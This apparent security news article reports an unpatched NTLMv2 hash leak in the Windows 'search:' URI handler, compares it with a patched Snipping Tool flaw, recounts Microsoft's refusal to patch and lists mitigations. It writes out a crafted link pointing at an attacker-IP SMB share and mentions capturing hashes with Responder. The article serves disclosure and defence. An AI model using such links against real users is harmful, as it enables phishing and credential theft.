A newly disclosed vulnerability in Windows’ search: URI handler exposes users’ NTLMv2 credential hashes to attacker-controlled servers with a single link click, and Microsoft has declined to assign a CVE or issue a patch.
The flaw, reported to Microsoft on April 15, 2026, one day after the company patched CVE-2026-33829 in the Windows Snipping Tool, is technically identical to that patched vulnerability.
Both exploit the same NTLM leakage primitive, carry the same Moderate CVSS rating (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N), and produce the same Net-NTLMv2 hash exposure. The only difference is which URI handler is involved and whether Microsoft chose to act.
Windows Search URI Vulnerability
The search: URI handler is a built-in Windows component registered in the system registry (HKCR) and wired along with search-ms: to the same COM class: SearchExecute (CLSID {90b9bce2-b6db-4fd3-8451-35917ea1081b}), implemented in ExplorerFrame.dll. When a user clicks a crafted link like:
search:query=test&crumb=location:\\<attacker-IP>\shareWindows automatically initiates an SMB connection attempt to the attacker’s server as part of standard NTLM authentication.
Tools like Responder capture the outgoing Net-NTLMv2 hash within seconds before Windows even renders the familiar “Windows cannot access the specified device, path, or file” error dialog.
Tested on Windows 11 25H2 Pro (Build 26200.8524) with a standard user account, default Defender settings, and no developer mode or elevated privileges, the exploit fired cleanly.
Microsoft Edge delivered the payload via a simple <a href> hyperlink with no prompt and no warning. The hash left the machine before the user saw any indication that something had gone wrong.
Critically, the first invocation per login session leaks the hash. Subsequent attempts return an “Access denied” message until the user logs out. For phishing campaigns, that first-click window is all an attacker needs.
The parallel to CVE-2026-33829 is exact. The Snipping Tool’s ms-screensketch: handler accepted an unvalidated filePath parameter and forwarded it to an attacker-supplied UNC path, triggering NTLM authentication and leaking the hash.
The search: handler accepts an unvalidated crumb=location: parameter and does the same thing, through the same COM activation path in ExplorerFrame.dll.
This isn’t an isolated pattern. Varonis documented the crumb=location: UNC leakage primitive on search-ms: in 2024 closed Moderate, no patch.
A WPA URI handler leakage from the same Varonis research saw the same result. The search: attack surface was documented by Trellix in 2023.
A CVSS score of 4.3 and the absence of a CVE do not reflect operational risk. According to Huntress, this bug requires no malware, no payload delivery, and no complex exploit chain. The threat model is a hyperlink in an email.
- Block outbound SMB (TCP/445 and TCP/139) on hosts that don’t require it this single control eliminates the entire NTLM leakage class
- Enforce SMB signing to prevent captured hashes from being relayed against internal services
- Audit NTLM usage and consider setting
RestrictSendingNTLMTrafficto2(Deny All) where feasible, test first, as this will break legacy configurations - Expand URI monitoring rules: if your mail gateway or proxy already alerts on
search-ms:URIs, addsearch:to the same rule immediately, the syntax and risk profile are identical
If your vulnerability management program uses Microsoft CVE issuance as its primary signal, you patched the Snipping Tool in April and have zero visibility into this unpatched variant with equivalent impact.
Microsoft Security Response Center (MSRC) was notified on April 15, 2026. After an initial closure as “social engineering,” the case was reactivated on April 21 with a formal case number assigned.
On May 15, MSRC issued its final assessment: Moderate severity, below servicing bar. The researcher notified MSRC of publication intent on May 15 and confirmed the June 2 publication date on May 20.
MSRC confirmed on May 28 that CVE-2026-33829 itself carried a Moderate severity rating, the same rating as the unpatched variant.
Follow us on Google News , LinkedIn and X to Get More Instant Updates. Set Cyberpress as a Preferred Source in Google.
